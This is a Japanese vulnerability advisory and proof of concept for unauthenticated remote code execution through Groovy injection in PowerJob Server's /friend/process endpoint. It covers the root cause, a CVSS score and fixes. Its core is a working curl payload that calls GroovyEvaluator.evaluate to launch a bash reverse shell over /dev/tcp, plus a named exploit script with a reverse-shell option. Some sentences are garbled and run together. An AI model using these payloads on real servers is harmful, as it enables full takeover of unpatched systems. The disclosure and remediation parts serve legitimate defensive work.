
PowerJob Serverの/friend/processエンドポイントにおけるGroovyインジェクションを介した未認証のリモートコード実行エクスプロイトで、任意のコマンド実行とリバースシェルを可能にします。
/friend/process(Groovy インジェクション)によるリモートコード実行PowerJob Server(分散ジョブスケジューリング/コンピューティングフレームワーク)は、Worker↔Server 間トランスポート層の HTTP ポート 10010 において、/friend/process エンドポイントを一切の認証なしで公開しています。このエンドポイントは、任意の Spring Bean の任意のパブリックメソッドをリフレクションで呼び出します。攻撃者が GroovyEvaluator.evaluate を呼び出すことで任意の Groovy 式を実行でき、未認証のリモートコード実行が可能になります。デフォルトの docker-compose はこのポートを 0.0.0.0 に公開しているため、サーバーは認証情報なしで完全に侵害される可能性があります。
docker-compose.yml:29-33,47-48 は 10010(HTTP トランスポート)、10086(AKKA)、10077(MU)をホストの 0.0.0.0 に公開| 項目 | 値 |
|---|---|
| トリガーとなるエンドポイント | POST http://<server>:10010/friend/process |
| 登録 | FriendActor.java @Actor(path = "friend") + @Handler(path = "process")(HTTP/MU/AKKA の全 3 プロトコルで登録) |
| リフレクションによる実行 | RemoteRequestProcessor.processRemoteRequest() |
| 危険なシンク | GroovyEvaluator.evaluate() → ScriptEngine.eval() |
| 認証の欠如 | HttpVertxCSInitializer(HTTP)/ MuServerHandler(MU)はトークン/署名チェックなしでルートを登録 |
主要なソースファイル(リポジトリルートからの相対パス):
powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java(10010 のルートを登録、認証なし)powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28RemoteRequestProcessor.processRemoteRequest は、リクエストボディの className、methodName、parameterTypes、args フィールドを完全に信頼します。Class.forName + SpringUtils.getBean を使用して任意の Spring Bean を取得し、Spring の ReflectionUtils を介してその任意のパブリックメソッドを呼び出します。GroovyEvaluator は @Component Bean であり、その evaluate(String, Object) は Groovy スクリプトエンジン(ScriptEngineManager)を呼び出して、攻撃者の式を直接 eval() します。これら 3 つの組み合わせが未認証の RCE となります。
'id'.execute().text)を指定して GroovyEvaluator.evaluate をターゲットとする RemoteProcessReq JSON です。AskResponse.data(base64 JSON)で攻撃者に返されます。環境: JDK 17、ソースビルドの powerjob-server-starter-5.1.2.jar(daily プロファイル)、サーバーは 192.168.49.128:10010 で待ち受け。JDK 21 でも再検証済み(下記のシェル形式ペイロードは両方で動作します。File.write に関する注記を参照)。
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
"className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
"methodName": "evaluate",
"parameterTypes": ["java.lang.String","java.lang.Object"],
"args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'
実際の応答: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}。data フィールドを base64 デコードすると、サーバー JVM 上で実行されたコマンド出力が得られます:

あるいは、スクリプトを使用して再現することもできます:
python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878
/friend/process は Server↔Worker 間の内部通信の一部です。未認証のリクエストを拒否するか、このメソッドがそもそもリモートから呼び出し可能であってはなりません。RemoteRequestProcessor を許可リスト方式に変更します。className/methodName をフレームワーク定義の安全なハンドラに制限し、任意の Bean のリフレクション呼び出しを禁止します。GroovyEvaluator のリモートからの到達可能性を削除するか、厳格に制限します(残す必要がある場合は、認証とサンドボックスを追加)。/friend/process(S4S_HANDLER_PROCESS)をデフォルトで無効化するか、内部ソースのみに制限します。CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical
mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package/friend/process はデータベースなしでトリガー可能)java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...